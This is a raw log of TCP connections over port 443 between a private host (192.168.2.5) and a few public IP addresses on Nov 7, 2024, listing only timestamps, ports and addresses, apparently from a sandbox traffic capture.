Nov 7, 2024 23:47:31.202606916 CET	443	49777	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.202651024 CET	443	49777	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.202697992 CET	49777	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.204250097 CET	443	49778	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.205718040 CET	49777	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.205730915 CET	443	49777	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.207515001 CET	443	49779	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.208163977 CET	443	49780	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.209423065 CET	49778	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.209449053 CET	443	49778	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.210192919 CET	49778	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.210200071 CET	443	49778	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.210988998 CET	49779	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.211008072 CET	443	49779	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.211591005 CET	49779	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.211596966 CET	443	49779	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.212141037 CET	49780	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.212160110 CET	443	49780	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.212716103 CET	49780	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.212728977 CET	443	49780	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.216428041 CET	443	49782	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.216876984 CET	49782	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.216891050 CET	443	49782	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.217613935 CET	49782	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.217618942 CET	443	49782	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.272911072 CET	443	49781	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.273642063 CET	49781	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.273642063 CET	49781	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.273652077 CET	443	49781	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.273659945 CET	443	49781	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.337843895 CET	443	49778	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.338228941 CET	443	49778	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.338311911 CET	443	49779	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.338337898 CET	49778	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.338339090 CET	49778	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.338401079 CET	49778	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.338416100 CET	443	49778	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.338557959 CET	443	49779	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.338702917 CET	49779	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.338740110 CET	49779	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.338740110 CET	49779	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.338758945 CET	443	49779	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.338767052 CET	443	49779	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.339633942 CET	443	49780	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.339988947 CET	443	49780	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.340778112 CET	49786	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.340810061 CET	443	49786	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.340837002 CET	49780	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.340843916 CET	49787	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.340878010 CET	443	49787	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.340878963 CET	49786	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.340898991 CET	49780	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.340898991 CET	49780	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.340912104 CET	443	49780	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.340917110 CET	443	49780	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.340990067 CET	49787	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.341037035 CET	49786	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.341048956 CET	443	49786	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.341264009 CET	49787	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.341278076 CET	443	49787	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.342595100 CET	49788	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.342627048 CET	443	49788	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.342978954 CET	49788	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.342978954 CET	49788	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.343005896 CET	443	49788	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.347567081 CET	443	49782	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.347902060 CET	443	49782	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.348022938 CET	49782	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.348093033 CET	49782	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.348093033 CET	49782	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.348098993 CET	443	49782	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.348105907 CET	443	49782	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.349644899 CET	49789	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.349678993 CET	443	49789	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.349808931 CET	49789	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.350059986 CET	49789	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.350073099 CET	443	49789	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.360358953 CET	443	49783	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.360812902 CET	49783	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.360821009 CET	443	49783	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.361140013 CET	443	49783	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.362099886 CET	49783	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.362157106 CET	443	49783	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.362324953 CET	49783	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.362324953 CET	49783	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.362355947 CET	443	49783	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.362787962 CET	49783	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.403321028 CET	443	49783	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.409152031 CET	443	49781	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.409300089 CET	443	49781	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.410132885 CET	49781	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.410132885 CET	49781	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.410258055 CET	49781	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.410265923 CET	443	49781	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.412537098 CET	49790	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.412556887 CET	443	49790	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.412679911 CET	49790	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.412776947 CET	49790	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:31.412786961 CET	443	49790	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:31.546329021 CET	443	49783	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.546406984 CET	443	49783	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.546555042 CET	49783	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.547060013 CET	49783	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.547069073 CET	443	49783	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.548415899 CET	443	49784	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.550097942 CET	49784	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.550111055 CET	443	49784	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.551100969 CET	443	49784	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.551235914 CET	49784	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.551532984 CET	49784	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.551532984 CET	49784	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.551589012 CET	443	49784	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.551615953 CET	49784	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.551738024 CET	443	49784	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.551749945 CET	49784	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.551816940 CET	49784	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.551817894 CET	49791	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.551851988 CET	443	49791	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.552160978 CET	49792	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.552175999 CET	443	49792	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.552206993 CET	49791	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.552337885 CET	49792	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.552691936 CET	49792	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.552699089 CET	443	49792	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.552751064 CET	49791	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.552771091 CET	443	49791	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.062238932 CET	443	49786	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.062966108 CET	49786	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.062994003 CET	443	49786	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.063409090 CET	49786	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.063415051 CET	443	49786	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.069650888 CET	443	49788	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.069981098 CET	49788	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.070003986 CET	443	49788	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.070436954 CET	49788	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.070442915 CET	443	49788	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.077653885 CET	443	49787	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.078105927 CET	49787	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.078129053 CET	443	49787	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.078396082 CET	49787	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.078399897 CET	443	49787	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.093138933 CET	443	49789	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.093445063 CET	49789	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.093475103 CET	443	49789	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.093785048 CET	49789	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.093791008 CET	443	49789	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.154443979 CET	443	49792	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.154778004 CET	49792	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.154791117 CET	443	49792	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.155875921 CET	443	49790	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.156112909 CET	443	49792	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.156198025 CET	49792	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.156198025 CET	49790	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.156212091 CET	443	49790	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.156558990 CET	49792	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.156615973 CET	443	49792	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.156622887 CET	49792	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.156622887 CET	49792	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.156650066 CET	49790	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.156656027 CET	443	49790	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.156681061 CET	49792	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.156881094 CET	49793	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.156929016 CET	443	49793	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.157052040 CET	49793	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.157257080 CET	49793	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.157273054 CET	443	49793	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.189548969 CET	443	49786	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.189877033 CET	443	49786	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.190164089 CET	49786	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.190443993 CET	49786	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.190454960 CET	443	49786	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.190485001 CET	49786	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.190490007 CET	443	49786	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.193360090 CET	49794	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.193373919 CET	443	49794	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.193551064 CET	49794	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.193624973 CET	49794	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.193638086 CET	443	49794	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.200015068 CET	443	49788	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.200268030 CET	443	49788	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.200354099 CET	49788	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.200354099 CET	49788	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.200385094 CET	49788	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.200397015 CET	443	49788	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.200853109 CET	443	49791	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.201893091 CET	49791	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.201905966 CET	443	49791	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.202266932 CET	443	49791	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.202395916 CET	49795	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.202426910 CET	443	49795	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.202661991 CET	49791	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.202663898 CET	49795	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.202728987 CET	443	49791	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.202831984 CET	49791	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.203007936 CET	49795	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.203026056 CET	443	49795	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.204221010 CET	443	49785	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:32.205084085 CET	49785	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:32.205084085 CET	49785	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:32.205101013 CET	443	49785	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:32.205108881 CET	443	49785	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:32.205137968 CET	49785	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:32.205153942 CET	443	49785	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:32.207554102 CET	443	49787	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.207931042 CET	443	49787	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.208017111 CET	49787	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.208017111 CET	49787	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.208059072 CET	49787	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.208066940 CET	443	49787	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.210376978 CET	49796	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.210397005 CET	443	49796	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.210464001 CET	49796	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.210613012 CET	49796	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.210623026 CET	443	49796	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.224880934 CET	443	49789	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.224925995 CET	443	49789	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.225095987 CET	49789	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.225095987 CET	49789	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.225200891 CET	49789	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.225213051 CET	443	49789	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.226996899 CET	49797	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.227014065 CET	443	49797	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.227184057 CET	49797	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.227256060 CET	49797	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.227268934 CET	443	49797	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.243330002 CET	443	49791	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.288830996 CET	443	49790	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.288893938 CET	443	49790	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.288995028 CET	49790	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.289073944 CET	49790	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.289073944 CET	49790	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.289083004 CET	443	49790	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.289091110 CET	443	49790	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.290898085 CET	49798	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.290909052 CET	443	49798	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.291074038 CET	49798	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.291074038 CET	49798	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.291093111 CET	443	49798	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.350008011 CET	443	49791	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.350049973 CET	443	49791	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.350081921 CET	443	49791	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.350117922 CET	443	49791	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.350146055 CET	443	49791	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.350172997 CET	443	49791	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.350192070 CET	49791	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.350203037 CET	443	49791	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.350250006 CET	443	49791	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.350279093 CET	49791	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.351466894 CET	49791	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.354079008 CET	49791	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.354091883 CET	443	49791	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.770832062 CET	443	49793	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.794472933 CET	49793	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.794495106 CET	443	49793	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.795557022 CET	443	49793	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.795674086 CET	49793	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.806010008 CET	49793	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.806075096 CET	443	49793	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.808413982 CET	49793	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.852674007 CET	49793	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.852684975 CET	443	49793	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.877746105 CET	443	49785	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:32.877768040 CET	443	49785	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:32.877808094 CET	443	49785	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:32.877861977 CET	49785	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:32.877876043 CET	443	49785	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:32.877916098 CET	49785	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:32.879448891 CET	49785	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:32.879462957 CET	443	49785	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:32.879512072 CET	49785	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:32.879596949 CET	443	49785	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:32.879631996 CET	443	49785	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:32.879753113 CET	49785	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:32.898179054 CET	49793	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.925301075 CET	443	49794	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.925764084 CET	49794	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.925795078 CET	443	49794	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.926243067 CET	49794	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.926248074 CET	443	49794	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.932917118 CET	443	49795	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.933995008 CET	49795	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.933995008 CET	49795	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.934014082 CET	443	49795	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.934025049 CET	443	49795	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.939306021 CET	443	49793	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.939364910 CET	443	49793	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:32.942512035 CET	49793	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.942517042 CET	49793	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:32.949738979 CET	443	49796	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.951185942 CET	49796	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.951205015 CET	443	49796	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.952045918 CET	49796	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.952052116 CET	443	49796	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.958673000 CET	443	49797	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.959108114 CET	49797	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.959130049 CET	443	49797	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.959476948 CET	49797	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:32.959481955 CET	443	49797	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:32.964768887 CET	49799	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:32.964796066 CET	443	49799	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:32.964898109 CET	49799	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:32.965837002 CET	49799	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:32.965850115 CET	443	49799	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:33.023055077 CET	443	49798	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.028208971 CET	49798	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.028220892 CET	443	49798	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.028841019 CET	49798	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.028845072 CET	443	49798	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.054404020 CET	443	49794	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.054733992 CET	443	49794	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.054913998 CET	49794	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.055107117 CET	49794	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.055124044 CET	443	49794	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.055155993 CET	49794	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.055161953 CET	443	49794	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.057918072 CET	49800	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.057940006 CET	443	49800	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.058098078 CET	49800	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.058227062 CET	49800	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.058239937 CET	443	49800	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.062239885 CET	443	49795	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.062378883 CET	443	49795	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.062465906 CET	49795	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.062532902 CET	49795	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.062546015 CET	443	49795	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.065006018 CET	49801	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.065038919 CET	443	49801	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.065116882 CET	49801	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.065397024 CET	49801	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.065407991 CET	443	49801	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.079873085 CET	443	49796	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.080121040 CET	443	49796	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.080610991 CET	49796	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.080995083 CET	49796	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.080995083 CET	49796	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.081007957 CET	443	49796	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.081017017 CET	443	49796	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.084148884 CET	49802	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:33.084161043 CET	443	49802	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:33.084248066 CET	49802	443	192.168.2.5	13.107.246.45
